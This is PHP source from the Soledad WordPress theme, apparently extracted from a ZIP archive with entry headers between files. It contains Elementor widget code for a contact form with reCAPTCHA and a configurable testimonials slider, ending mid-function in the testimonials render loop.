				<?php $this->contact_form_html(); ?>
            </div>
        </div>
		<?php
	}

	public function contact_form_html() {
		$settings = $this->get_settings_for_display();
		$id       = $this->get_id();
		$form_id  = ! empty ( $settings['_element_id'] ) ? 'pencif-sf-' . $settings['_element_id'] : 'pencif-sf-' . $id;

		$this->add_render_attribute( 'contact-form', 'class', [
			'pencif-contact-form',
			$settings['two_columns'] ? 'pencif-2col' : 'pencif-all-col',
			$settings['name_email_field_inline'] ? 'pencif-name-inline' : '',
		] );
		$this->add_render_attribute( 'contact-form', 'action', admin_url( 'admin-ajax.php' ) );
		$this->add_render_attribute( 'contact-form', 'method', 'post' );


		if ( isset ( $settings['show_recaptcha'] ) && $settings['show_recaptcha'] == 'yes' ) {
			if ( empty ( $settings['recaptcha_site_key'] ) and empty ( $settings['recaptcha_secret_key'] ) ) {
				$this->add_render_attribute( 'contact-form', 'class', 'without-recaptcha' );
			}
		} else {
			$this->add_render_attribute( 'contact-form', 'class', 'without-recaptcha' );
		}


		$this->add_render_attribute( 'name-email-field-group', 'class', [
			'pencif-field-group',
			'elementor-field-required'
		] );

		$this->add_render_attribute( 'name-email-field-group', 'class', 'pencif-field-normal' );


		?>
        <div class="pencif-contact-form-wrapper">
            <form <?php $this->print_render_attribute_string( 'contact-form' ); ?>>

				<?php if ( $settings['two_columns'] ) : ?>
                <div class="pencif-col">
					<?php endif; ?>

                    <div <?php $this->print_render_attribute_string( 'name-email-field-group' ); ?>>
						<?php
						if ( $settings['show_labels'] ) {
							echo '<label ' . wp_kses_post( $this->get_render_attribute_string( 'user_name_label' ) ) . '>' . wp_kses_post( $settings['user_name_label'] ) . '</label>';
						}


						echo '<div class="pencif-form-controls">';
						echo '<input ' . wp_kses_post( $this->get_render_attribute_string( 'user_name_input' ) ) . ' required ="required">';
						echo '</div>';

						?>
                    </div>

                    <div <?php $this->print_render_attribute_string( 'name-email-field-group' ); ?>>
						<?php
						if ( $settings['show_labels'] ) {
							echo '<label ' . wp_kses_post( $this->get_render_attribute_string( 'email_address_label' ) ) . '>' . wp_kses_post( $settings['email_address_label'] ) . '</label>';
						}

						echo '<div class="pencif-form-controls">';
						echo '<input ' . wp_kses_post( $this->get_render_attribute_string( 'email_address_input' ) ) . ' required="required">';
						echo '</div>';
						?>
                    </div>

					<?php if ( $settings['contact_number'] ) : ?>
                        <div <?php $this->print_render_attribute_string( 'field-group' ); ?>>
							<?php

							if ( $settings['show_labels'] ) {
								echo '<label ' . wp_kses_post( $this->get_render_attribute_string( 'contact_label' ) ) . '>' . wp_kses_post( $settings['contact_label'] ) . '</label>';
							}
							echo '<div class="pencif-form-controls">';
							echo '<input ' . wp_kses_post( $this->get_render_attribute_string( 'contact_input' ) ) . '>';
							echo '</div>';

							?>
                        </div>
					<?php endif; ?>

					<?php if ( $settings['show_subject'] ) : ?>
                        <div <?php $this->print_render_attribute_string( 'field-group' ); ?>>
							<?php
							if ( $settings['show_labels'] ) {
								echo '<label ' . wp_kses_post( $this->get_render_attribute_string( 'subject_label' ) ) . '>' . wp_kses_post( $settings['subject_label'] ) . '</label>';
							}
							echo '<div class="pencif-form-controls">';
							echo '<input ' . wp_kses_post( $this->get_render_attribute_string( 'subject_input' ) ) . ' required="required">';
							echo '</div>';

							?>
                        </div>
					<?php endif; ?>

					<?php if ( $settings['two_columns'] ) : ?>
                </div>
                <div class="pencif-col">
					<?php endif; ?>

					<?php if ( $settings['show_message'] ) : ?>
                        <div <?php $this->print_render_attribute_string( 'field-group' ); ?>>
							<?php
							if ( $settings['show_labels'] ) {
								echo '<label ' . wp_kses_post( $this->get_render_attribute_string( 'message_label' ) ) . '>' . wp_kses_post( $settings['message_label'] ) . '</label>';
							}
							echo '<div class="pencif-form-controls">';
							echo '<textarea ' . wp_kses_post( $this->get_render_attribute_string( 'message_area' ) ) . ' required="required"></textarea>';
							echo '</div>';
							?>
                        </div>
					<?php endif; ?>

					<?php if ( 'yes' === $settings['show_additional_message'] ) : ?>
                        <div <?php $this->print_render_attribute_string( 'field-group' ); ?>>
							<span class="pencif-contact-form-additional-message">
								<?php echo esc_html( $settings['additional_message'] ); ?>
							</span>
                        </div>
					<?php endif; ?>


					<?php if ( ( $settings['redirect_after_submit'] == 'yes' ) && ! empty ( $settings['redirect_url']['url'] ) ) :
						$redirect_url = $settings['redirect_url']['url'];
						$redirect_extarnal = ( isset ( $settings['redirect_url']['is_external'] ) && ( $settings['redirect_url']['is_external'] ) == 'on' ) ? '_blank' : '_self';
						?>
                        <input type="hidden" name="redirect-url" value="<?php
						echo esc_url( $redirect_url ) ?>"/>

                        <input type="hidden" name="is-external" value="<?php
						echo esc_html( $redirect_extarnal ) ?>"/>

					<?php endif; ?>

					<?php if ( $settings['reset_after_submit'] == 'yes' ) : ?>
                        <input type="hidden" name="reset-after-submit"
                               value="<?php echo wp_kses_post( $settings['reset_after_submit'] ); ?>"/>
					<?php endif; ?>

                    <input type="hidden" class="widget_id" name="widget_id" value="<?php
					echo esc_attr( $id ); ?>"/>
                    <input type="hidden" name="<?php echo esc_attr( $form_id ); ?>" value="true"/>
                    <input type="hidden" class="page_id" name="page_id"
                           value="<?php echo esc_attr( get_the_ID() ); ?>"/>

                    <div <?php $this->print_render_attribute_string( 'submit-group' ); ?>>
                        <button type="submit" <?php $this->print_render_attribute_string( 'button' ); ?>>
							<?php if ( ! empty ( $settings['button_text'] ) ) : ?>
                                <span>
									<?php echo esc_html( $settings['button_text'] ); ?>
								</span>
							<?php endif; ?>
                        </button>
                    </div>

					<?php if ( isset ( $settings['show_recaptcha'] ) && $settings['show_recaptcha'] == 'yes' && $settings['recaptcha_site_key'] ) : ?>

					<input type="hidden" name="g-recaptcha-response" id="recaptchaResponse">
					<script src="https://www.google.com/recaptcha/api.js?render=<?php echo $settings['recaptcha_site_key'];?>"></script>
					<script>
						grecaptcha.ready(function() {
							grecaptcha.execute('<?php echo $settings['recaptcha_site_key'];?>', { action: 'submit' }).then(function(token) {
								document.getElementById('recaptchaResponse').value = token;
							});
						});
					</script>

					<?php endif; ?>

                    <input name="_wpnonce" value="<?php echo esc_attr( wp_create_nonce( "simpleContactForm" ) ); ?>"
                           type="hidden">

                    <input type="hidden" name="action" value="penci_contact_form"/>

					<?php if ( $settings['two_columns'] ) : ?>
                </div>
			<?php endif; ?>

            </form>
        </div>
		<?php
	}
}PK     N\J;$!  !  3  inc/elementor/modules/penci-testimonials/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciTestimonials;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-testimonials';
	}

	public function get_widgets() {
		return array( 'PenciTestimonials' );
	}
}
PK     N\J5ss  s  G  inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciTestimonials\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Box_Shadow;
use Elementor\Group_Control_Typography;
use Elementor\Repeater;
use Elementor\Utils;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciTestimonials extends Base_Widget {

	public function get_name() {
		return 'penci-testimonials';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Testimonials', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-review';
	}

	public function get_categories() {
		return array( 'penci-elements' );
	}

	public function get_keywords() {
		return array( 'testimonials' );
	}

	protected function register_controls() {

		$this->start_controls_section(
			'section_testimonails',
			array(
				'label' => esc_html__( 'Testimonials', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'testitype',
			array(
				'label'   => __( 'Type', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'crs',
				'options' => array(
					'crs'  => esc_html__( 'Slider', 'soledad' ),
					'grid' => esc_html__( 'Grid', 'soledad' ),
				),
			)
		);

		$this->add_control(
			'style',
			array(
				'label'   => __( 'Select Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 's1',
				'options' => array(
					's1' => esc_html__( 'Style 1', 'soledad' ),
					's2' => esc_html__( 'Style 2', 'soledad' ),
					's3' => esc_html__( 'Style 3', 'soledad' ),
					's4' => esc_html__( 'Style 4', 'soledad' ),
					's5' => esc_html__( 'Style 5', 'soledad' ),
				),
			)
		);

		$this->add_control(
			'slider_item',
			array(
				'label'   => __( 'Columns', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					'' => 'Default',
					'1' => '1',
					'2' => '2',
					'3' => '3',
					'4' => '4',
					'5' => '5',
					'6' => '6',
				),
			)
		);

		$this->add_control(
			'slider_titem',
			array(
				'label'   => __( 'Columns on Tablet', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					'' => 'Default',
					'1' => '1',
					'2' => '2',
					'3' => '3',
					'4' => '4',
					'5' => '5',
					'6' => '6',
				),
			)
		);

		$this->add_control(
			'slider_mitem',
			array(
				'label'   => __( 'Columns on Mobile', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '1',
				'options' => array(
					'1' => '1',
					'2' => '2',
					'3' => '3',
					'4' => '4',
					'5' => '5',
					'6' => '6',
				),
			)
		);

		$this->add_control(
			'imagepos',
			array(
				'label'     => __( 'Image Position', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'options'   => array(
					''      => __( 'Top', 'soledad' ),
					'left'  => __( 'Left', 'soledad' ),
					'right' => __( 'Right', 'soledad' ),
				),
				'condition' => array( 'style' => 's4' ),
			)
		);

		$this->add_control(
			'column_gap',
			array(
				'label'     => __( 'Column Gap', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array(
					'px' => array(
						'min' => 0,
						'max' => 200,
					),
				),
				'selectors' => array(
					'{{WRAPPER}} .penci-testimonails' => '--pcsl-hgap: {{SIZE}}px;',
				),
			)
		);

		$this->add_control(
			'row_gap',
			array(
				'label'     => __( 'Row Gap', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array(
					'px' => array(
						'min' => 0,
						'max' => 200,
					),
				),
				'selectors' => array(
					'{{WRAPPER}} .penci-testimonails' => '--pcsl-bgap: {{SIZE}}px;',
				),
				'condition' => array( 'testitype' => 'grid' ),
			)
		);

		$this->add_responsive_control(
			'_desc_width',
			array(
				'label'     => __( 'Description Width', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'selectors' => array( '{{WRAPPER}} .penci-testi-blockquote' => 'max-width: {{SIZE}}px;margin-left:auto;margin-right:auto;' ),
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_reviews_items',
			array(
				'label' => esc_html__( 'Reviews Items', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$repeater = new Repeater();

		$repeater->add_control(
			'testi_name',
			array(
				'label'   => __( 'Custom Name', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => __( 'Testimonail #1', 'soledad' ),
			)
		);
		$repeater->add_control(
			'testi_image',
			array(
				'label'   => __( 'Choose Avatar', 'soledad' ),
				'type'    => Controls_Manager::MEDIA,
				'default' => array( 'url' => Utils::get_placeholder_image_src() ),
			)
		);
		$repeater->add_control(
			'testi_company',
			array(
				'label' => __( 'Company/Position', 'soledad' ),
				'type'  => Controls_Manager::TEXT,
			)
		);
		$repeater->add_control(
			'testi_desc',
			array(
				'label'   => __( 'Description', 'soledad' ),
				'type'    => Controls_Manager::TEXTAREA,
				'default' => __( 'I am text block. Click edit button to change this text.', 'soledad' ),
			)
		);
		$repeater->add_control(
			'testi_rating',
			array(
				'label'   => __( 'Rating', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					1 => 1,
					2 => 2,
					3 => 3,
					4 => 4,
					5 => 5,
				),
				'default' => '5',
			)
		);

		$this->add_control(
			'testimonails',
			array(
				'type'        => Controls_Manager::REPEATER,
				'fields'      => $repeater->get_controls(),
				'default'     => array(
					array(
						'testi_name'    => __( 'Customer #1', 'soledad' ),
						'testi_image'   => array( 'url' => Utils::get_placeholder_image_src() ),
						'testi_desc'    => __( 'I am text block. Click edit button to change this text.', 'soledad' ),
						'testi_company' => __( 'Company Name', 'soledad' ),
						'testi_link'    => '#',
					),
					array(
						'testi_name'    => __( 'Customer #2', 'soledad' ),
						'testi_image'   => array( 'url' => Utils::get_placeholder_image_src() ),
						'testi_desc'    => __( 'I am text block. Click edit button to change this text.', 'soledad' ),
						'testi_company' => __( 'Company Name', 'soledad' ),
						'testi_link'    => '#',
					),
					array(
						'testi_name'    => __( 'Customer #3', 'soledad' ),
						'testi_image'   => array( 'url' => Utils::get_placeholder_image_src() ),
						'testi_desc'    => __( 'I am text block. Click edit button to change this text.', 'soledad' ),
						'testi_company' => __( 'Company Name', 'soledad' ),
						'testi_link'    => '#',
					),
					array(
						'testi_name'    => __( 'Customer #4', 'soledad' ),
						'testi_image'   => array( 'url' => Utils::get_placeholder_image_src() ),
						'testi_desc'    => __( 'I am text block. Click edit button to change this text.', 'soledad' ),
						'testi_company' => __( 'Company Name', 'soledad' ),
						'testi_link'    => '#',
					),
				),
				'title_field' => '{{{ name }}}',
			)
		);

		$this->end_controls_section();

		// Options slider
		$this->start_controls_section(
			'section_slider_options',
			array(
				'label'     => __( 'Slider Options', 'soledad' ),
				'condition' => array( 'testitype' => 'crs' ),
			)
		);

		$this->add_control( 'carousel_slider_effect', array(
			'label'       => __( 'Carousel Slider Effect', 'soledad' ),
			'description' => __( 'The "Swing" effect does not support the loop option.', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => get_theme_mod( 'penci_carousel_slider_effect', 'swing' ),
			'options'     => array(
				'default' => 'Default',
				'swing'   => 'Swing',
			),
		) );

		$this->add_control(
			'autoplay',
			array(
				'label'   => __( 'Autoplay', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => '',
			)
		);
		$this->add_control(
			'loop',
			array(
				'label'     => __( 'Slider Loop', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => 'yes',
				'condition' => [ 'carousel_slider_effect' => 'default' ],
			)
		);
		$this->add_control(
			'auto_time',
			array(
				'label'   => __( 'Slider Auto Time (at x seconds)', 'soledad' ),
				'type'    => Controls_Manager::NUMBER,
				'default' => 4000,
			)
		);
		$this->add_control(
			'speed',
			array(
				'label'   => __( 'Slider Speed (at x seconds)', 'soledad' ),
				'type'    => Controls_Manager::NUMBER,
				'default' => 800,
			)
		);
		$this->add_control(
			'shownav',
			array(
				'label'   => __( 'Show next/prev buttons', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			)
		);
		$this->add_control(
			'showdots',
			array(
				'label' => __( 'Show dots navigation', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);
		$this->end_controls_section();

		$this->start_controls_section(
			'section_spacing',
			array(
				'label' => esc_html__( 'Elements Spacing', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_responsive_control(
			'p_name_marbottom',
			array(
				'label'     => __( 'Name Spacing Top', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'selectors' => array( '{{WRAPPER}} .penci-testi-name' => 'margin-top: {{SIZE}}px' ),
			)
		);
		$this->add_responsive_control(
			'p_company_marbottom',
			array(
				'label'     => __( 'Company/Position Spacing Top', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'selectors' => array( '{{WRAPPER}} .penci-testi-company' => 'margin-top: {{SIZE}}px' ),
			)
		);
		$this->add_responsive_control(
			'image_spacing',
			array(
				'label'     => __( 'Image Spacing Top', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'selectors' => array( '{{WRAPPER}} .penci-testi-avatar' => 'margin-top: {{SIZE}}px' ),
			)
		);
		$this->add_responsive_control(
			'p_rating_marbottom',
			array(
				'label'     => __( 'Rating Spacing Top', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'selectors' => array( '{{WRAPPER}} .penci-testi-rating' => 'margin-top: {{SIZE}}px' ),
			)
		);
		$this->add_responsive_control(
			'p_desc_marbottom',
			array(
				'label'     => __( 'Description Spacing Top', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'selectors' => array( '{{WRAPPER}} .penci-testi-blockquote' => 'margin-top: {{SIZE}}px' ),
			)
		);

		$this->add_responsive_control(
			'desc_marbot',
			array(
				'label'     => __( 'Description Spacing Bottom', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'selectors' => array( '{{WRAPPER}} .penci-testi-blockquote' => 'margin-bottom: {{SIZE}}px' ),
			)
		);

		$this->add_responsive_control(
			'p_desc_padding',
			array(
				'label'     => __( 'Description Padding', 'soledad' ),
				'type'      => Controls_Manager::HIDDEN,
				'selectors' => array( '{{WRAPPER}} .penci-testi-blockquote' => 'padding: {{SIZE}}px' ),
			)
		);

		$this->add_responsive_control(
			'description_padding',
			array(
				'label'      => __( 'Content Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pc-testiinner .penci-testi-blockquote' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
			)
		);

		$this->end_controls_section();

		// Options colors
		$this->start_controls_section(
			'section_style_content',
			array(
				'label' => __( 'Content', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);
		$this->add_control(
			'team4_bg',
			array(
				'label'     => __( 'Member Items Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-testi-s4 .pc-testiinner' => 'background-color: {{VALUE}};' ),
				'condition' => array( 'style' => array( 's4' ) ),
			)
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			array(
				'name'      => 'team4_shadow',
				'label'     => __( 'Adjust Box Shadow', 'soledad' ),
				'selector'  => '{{WRAPPER}} .penci-testi-s4 .pc-testiinner',
				'condition' => array( 'style' => array( 's4' ) ),
			)
		);

		$this->add_responsive_control(
			'team4_padding',
			array(
				'label'      => __( 'Member Items Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-testi-s4 .pc-testiinner' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
				'condition'  => array( 'style' => array( 's4' ) ),
			)
		);

		$this->add_control(
			'icon_quote_color',
			array(
				'label'     => __( 'Quote Icon Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-testimonail .penci-testi-bq-icon:before' => 'color: {{VALUE}}; border-color:{{VALUE}};' ),
			)
		);
		$this->add_control(
			'icon_quote_bgcolor',
			array(
				'label'     => __( 'Quote Icon Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-testimonail .penci-testi-bq-icon:before' => 'background-color: {{VALUE}};' ),
				'condition' => array( 'style' => array( 's1' ) ),
			)
		);

		$this->add_responsive_control(
			'quote_size',
			array(
				'label'     => __( 'Quote Icon size', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array(
					'px' => array(
						'min' => 0,
						'max' => 200,
					),
				),
				'selectors' => array(
					'{{WRAPPER}} .penci-testimonail .penci-testi-bq-icon:before' => 'font-size: {{SIZE}}px;',
					'{{WRAPPER}} .penci-testi-s2 .penci-testi-bq-icon:before'    => 'width: auto; height: auto; line-height: {{SIZE}}px;',
				),
			)
		);

		// Slider
		$this->add_control(
			'heading_image',
			array(
				'label'     => __( 'Image', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_responsive_control(
			'_image_width_height',
			array(
				'label'     => __( 'Image With/Height', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'selectors' => array( '{{WRAPPER}} .penci-testi-avatar' => 'width: {{SIZE}}px;height: {{SIZE}}px' ),
			)
		);

		$this->add_responsive_control(
			'image_borderdius',
			array(
				'label'      => __( 'Image Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-testi-avatar' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
			)
		);

		$this->add_control(
			'heading_cname',
			array(
				'label'     => __( 'Customers Name', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'name_color',
			array(
				'label'     => __( 'Name Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-testi-name, {{WRAPPER}} .testiname' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			array(
				'name'     => 'name_typo',
				'label'    => __( 'Typography for Name', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-testi-name, {{WRAPPER}} .testiname',
			)
		);

		$this->add_control(
			'heading_company',
			array(
				'label'     => __( 'Company Name', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'company_color',
			array(
				'label'     => __( 'Company Name Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-testi-company, {{WRAPPER}} .testicom' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(),
			array(
				'name'     => 'company_typo',
				'label'    => __( 'Typography for Company Name', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-testi-company, {{WRAPPER}} .testicom',
			)
		);

		$this->add_control(
			'heading_desc',
			array(
				'label'     => __( 'Description Text', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'desc_color',
			array(
				'label'     => __( 'Description Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-testi-blockquote' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'desc_bgcolor',
			array(
				'label'     => __( 'Description Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .penci-testi-s5 .penci-testi-blockquote:after' => 'border-top-color: {{VALUE}};',
					'{{WRAPPER}} .penci-testi-blockquote'                       => 'background-color: {{VALUE}};border-color: {{VALUE}};',
				),
				'condition' => array( 'style' => array( 's1', 's2', 's5' ) ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			array(
				'name'     => 'desc_typo',
				'label'    => __( 'Typography for Description', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-testi-blockquote',
			)
		);

		$this->add_responsive_control(
			'desc_borderdius',
			array(
				'label'      => __( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-testimonail .penci-testi-blockquote' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
				'condition'  => array( 'style' => array( 's1', 's2', 's5' ) ),
			)
		);

		$this->add_control(
			'heading_rating',
			array(
				'label'     => __( 'Stars Rating', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'rating_color',
			array(
				'label'     => __( 'Rating Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-testi-rating' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_responsive_control(
			'rating_size',
			array(
				'label'     => __( 'Rating size', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array(
					'px' => array(
						'min' => 0,
						'max' => 100,
					),
				),
				'selectors' => array( '{{WRAPPER}} .penci-testi-rating' => 'font-size: {{SIZE}}px' ),
			)
		);

		// Slider
		$this->add_control(
			'heading_slider_style',
			array(
				'label'     => __( 'Slider', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'condition' => array( 'testitype' => 'crs' ),
			)
		);
		$this->add_control(
			'slider_dot_color',
			array(
				'label'     => __( 'Dots Navigation Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'testitype' => 'crs' ),
				'selectors' => array(
					'{{WRAPPER}} .penci-owl-dot span' => 'background-color: {{VALUE}}; opacity: 1;',
				),
			)
		);
		$this->add_control(
			'slider_dot_bordercl',
			array(
				'label'     => __( 'Dots Navigation Borders Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'testitype' => 'crs' ),
				'selectors' => array(
					'{{WRAPPER}} .penci-owl-dot span' => 'border-color: {{VALUE}};opacity: 1;',
				),
			)
		);
		$this->add_control(
			'slider_dot_hcolor',
			array(
				'label'     => __( 'Dots Navigation Active Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'testitype' => 'crs' ),
				'selectors' => array( '{{WRAPPER}} .penci-owl-dot.hover span,{{WRAPPER}} .penci-owl-dot.active span' => 'background-color: {{VALUE}};border-color: {{VALUE}};opacity: 1;' ),
			)
		);

		$this->end_controls_section();
	}

	protected function render() {
		$settings = $this->get_settings();

		if ( ! $settings['testimonails'] ) {
			return;
		}

		$style        = isset( $settings['style'] ) && $settings['style'] ? $settings['style'] : 's1';

		$default_item_desktop = '3';
		$default_item_tablet = '2';
		if( $style == 's1' || $style == 's3' ) { $default_item_desktop = '1'; $default_item_tablet = '1'; }

		$slider_item  = isset( $settings['slider_item'] ) && $settings['slider_item'] ? $settings['slider_item'] : $default_item_desktop;
		$slider_titem = isset( $settings['slider_titem'] ) && $settings['slider_titem'] ? $settings['slider_titem'] : $default_item_tablet;
		$slider_mitem = isset( $settings['slider_mitem'] ) && $settings['slider_mitem'] ? $settings['slider_mitem'] : '1';
		$testitype    = isset( $settings['testitype'] ) && $settings['testitype'] ? $settings['testitype'] : 'crs';
		$imagepos     = isset( $settings['imagepos'] ) && $settings['imagepos'] ? $settings['imagepos'] : '';



		$wrapper_css_class = 'penci-block-vc penci-smalllist penci-testimonails';
		$wrapper_css_class .= ' penci-testi-' . $style;
		if ( 's4' == $style && $imagepos ) {
			$wrapper_css_class .= ' pcimgpos-' . $imagepos;
		}

		$inner_wrapper_class = 'penci-block_content pcsl-inner penci-clearfix';
		$inner_wrapper_class .= ' pcsl-' . $testitype;
		if ( 'crs' == $testitype ) {
			$inner_wrapper_class .= ' swiper penci-owl-carousel penci-owl-carousel-slider';
		}

		$inner_wrapper_class .= ' pcsl-col-' . $slider_item;
		$inner_wrapper_class .= ' pcsl-tabcol-' . $slider_titem;
		$inner_wrapper_class .= ' pcsl-mobcol-' . $slider_mitem;

		$data_slider = '';
		if ( 'crs' == $testitype ) {
			$data_slider = $settings['showdots'] ? ' data-dots="true"' : '';
			$data_slider .= ! $settings['shownav'] ? ' data-nav="true"' : '';
			$data_slider .= ! $settings['loop'] ? ' data-loop="true"' : '';
			$data_slider .= ' data-ceffect="' . $settings['carousel_slider_effect'] . '"';
			$data_slider .= ' data-auto="' . ( 'yes' == $settings['autoplay'] ? 'true' : 'false' ) . '"';
			$data_slider .= ' data-autotime="' . ( $settings['auto_time'] ? intval( $settings['auto_time'] ) : '4000' ) . '"';
			$data_slider .= ' data-speed="' . ( $settings['speed'] ? intval( $settings['speed'] ) : '800' ) . '"';
			$data_slider .= ' data-item="' . $slider_item . '" data-desktop="' . $slider_item . '" data-tablet="' . $slider_titem . '" data-tabsmall="' . $slider_titem . '" data-mobile="' . $slider_mitem . '"';
		}
		?>
        <div class="<?php echo esc_attr( $wrapper_css_class ); ?>">
            <div class="<?php echo $inner_wrapper_class; ?>"<?php echo $data_slider; ?>>
				<?php
				$item_class = 'normal-item';
				if ( 'crs' == $testitype ) {
					echo '<div class="swiper-wrapper">';
				}
				foreach ( (array) $settings['testimonails'] as $_testi ) {
					$_testi_image   = isset( $_testi['testi_image'] ) ? $_testi['testi_image'] : '';
					$_testi_name    = isset( $_testi['testi_name'] ) ? $_testi['testi_name'] : '';
					$_testi_company = isset( $_testi['testi_company'] ) ? $_testi['testi_company'] : '';
					$_testi_desc    = isset( $_testi['testi_desc'] ) ? $_testi['testi_desc'] : '';
					$_testi_link    = isset( $_testi['testi_link'] ) ? $_testi['testi_link'] : '';
					$_testi_rating  = isset( $_testi['testi_rating'] ) ? $_testi['testi_rating'] : '';

					if ( $_testi_name || $_testi_company || $_testi_desc ) {
						if ( 'crs' == $testitype ) {
							echo '<div class="swiper-slide">';
						}
						?>
                        <div class="pcsl-item penci-testimonail <?php echo $item_class; ?>">
                            <div class="pcsl-itemin pc-testiinner">
								<?php
								if ( in_array( $style, array( 's1', 's2', 's3' ) ) ) {
									if ( 's2' == $style ) {
										if ( $_testi_desc ) {
											echo '<div class="penci-testi-blockquote">';
											echo '<div class="penci-testi-bq-inner"><span class="penci-testi-bq-icon"></span><span>' . $_testi_desc . '</span></div>';

											if ( $_testi_rating ) {
												$rating_item = '';
												for ( $i = 1; $i <= $_testi_rating; $i ++ ) {
													$rating_item .= penci_icon_by_ver( 'fas fa-star' );
